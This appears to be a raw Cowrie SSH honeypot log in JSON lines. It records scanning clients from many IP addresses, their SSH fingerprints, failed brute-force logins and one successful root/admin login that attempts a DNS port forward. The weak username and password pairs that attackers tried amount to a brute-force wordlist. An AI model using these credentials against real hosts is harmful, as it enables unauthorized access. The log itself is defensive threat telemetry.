{"eventid":"cowrie.login.failed","username":"modify","password":"1234","message":"login attempt [modify/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:12.021145Z","src_ip":"223.247.153.211","session":"2a6d4e77fcda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:13.801984Z","src_ip":"223.247.153.211","session":"2a6d4e77fcda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.22.233","src_port":21648,"dst_ip":"10.17.0.5","dst_port":22,"session":"26e99a92b43a","protocol":"ssh","message":"New connection: 165.154.22.233:21648 (10.17.0.5:22) [session: 26e99a92b43a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:18.803479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:18.811303Z","src_ip":"165.154.22.233","session":"26e99a92b43a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:19.022959Z","src_ip":"165.154.22.233","session":"26e99a92b43a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"123","message":"login attempt [cw/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:19.879023Z","src_ip":"165.154.22.233","session":"26e99a92b43a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:21.105778Z","src_ip":"165.154.22.233","session":"26e99a92b43a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":34890,"dst_ip":"10.17.0.5","dst_port":22,"session":"91fb6bd75fd2","protocol":"ssh","message":"New connection: 170.238.160.191:34890 (10.17.0.5:22) [session: 91fb6bd75fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:23.752623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:23.758266Z","src_ip":"170.238.160.191","session":"91fb6bd75fd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:23.868589Z","src_ip":"170.238.160.191","session":"91fb6bd75fd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"k8suser","password":"123","message":"login attempt [k8suser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:24.345788Z","src_ip":"170.238.160.191","session":"91fb6bd75fd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:25.458743Z","src_ip":"170.238.160.191","session":"91fb6bd75fd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.150.119","src_port":6455,"dst_ip":"10.17.0.5","dst_port":22,"session":"940164192475","protocol":"ssh","message":"New connection: 37.77.150.119:6455 (10.17.0.5:22) [session: 940164192475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:49.434848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:49.438758Z","src_ip":"37.77.150.119","session":"940164192475","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:49.592062Z","src_ip":"37.77.150.119","session":"940164192475","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:50.008816Z","src_ip":"37.77.150.119","session":"940164192475","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"37.77.150.119","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:50.149589Z","session":"940164192475","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:50.289623Z","src_ip":"37.77.150.119","session":"940164192475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:50.430626Z","src_ip":"37.77.150.119","session":"940164192475","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":36482,"dst_ip":"159.203.135.109","dst_port":22,"session":"33ae65255b30","protocol":"ssh","message":"New connection: 2.57.122.210:36482 (159.203.135.109:22) [session: 33ae65255b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:00.522127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:00.527553Z","src_ip":"2.57.122.210","session":"33ae65255b30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:00.632243Z","src_ip":"2.57.122.210","session":"33ae65255b30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"root","message":"login attempt [sol/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:00.987787Z","src_ip":"2.57.122.210","session":"33ae65255b30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:02.140987Z","src_ip":"2.57.122.210","session":"33ae65255b30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.250.191.201","src_port":39502,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ade3bfad860","protocol":"ssh","message":"New connection: 130.250.191.201:39502 (10.17.0.5:22) [session: 4ade3bfad860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:09.203249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:09.208925Z","src_ip":"130.250.191.201","session":"4ade3bfad860","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:09.479662Z","src_ip":"130.250.191.201","session":"4ade3bfad860","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"123","message":"login attempt [cw/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:10.584518Z","src_ip":"130.250.191.201","session":"4ade3bfad860","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:11.850477Z","src_ip":"130.250.191.201","session":"4ade3bfad860","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.16.238.49","src_port":42552,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ac23bc767b9","protocol":"ssh","message":"New connection: 201.16.238.49:42552 (10.17.0.5:22) [session: 6ac23bc767b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:23.579019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:23.583055Z","src_ip":"201.16.238.49","session":"6ac23bc767b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:23.729460Z","src_ip":"201.16.238.49","session":"6ac23bc767b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuserpass","message":"login attempt [sftpuser/sftpuserpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:24.343549Z","src_ip":"201.16.238.49","session":"6ac23bc767b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:25.491279Z","src_ip":"201.16.238.49","session":"6ac23bc767b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":59498,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0a66358f948","protocol":"ssh","message":"New connection: 195.178.110.218:59498 (10.17.0.5:22) [session: e0a66358f948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:32.498123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:32.502236Z","src_ip":"195.178.110.218","session":"e0a66358f948","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:32.580751Z","src_ip":"195.178.110.218","session":"e0a66358f948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:32.817813Z","src_ip":"195.178.110.218","session":"e0a66358f948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:33.899535Z","src_ip":"195.178.110.218","session":"e0a66358f948","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":57870,"dst_ip":"10.17.0.5","dst_port":22,"session":"da30d8546f5e","protocol":"ssh","message":"New connection: 193.32.162.145:57870 (10.17.0.5:22) [session: da30d8546f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:38.285904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:38.292049Z","src_ip":"193.32.162.145","session":"da30d8546f5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:38.421746Z","src_ip":"193.32.162.145","session":"da30d8546f5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"test","message":"login attempt [sol/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:38.748808Z","src_ip":"193.32.162.145","session":"da30d8546f5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:39.862019Z","src_ip":"193.32.162.145","session":"da30d8546f5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":37770,"dst_ip":"10.17.0.5","dst_port":22,"session":"33f8449e4734","protocol":"ssh","message":"New connection: 101.36.108.125:37770 (10.17.0.5:22) [session: 33f8449e4734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:16:58.690673Z"}
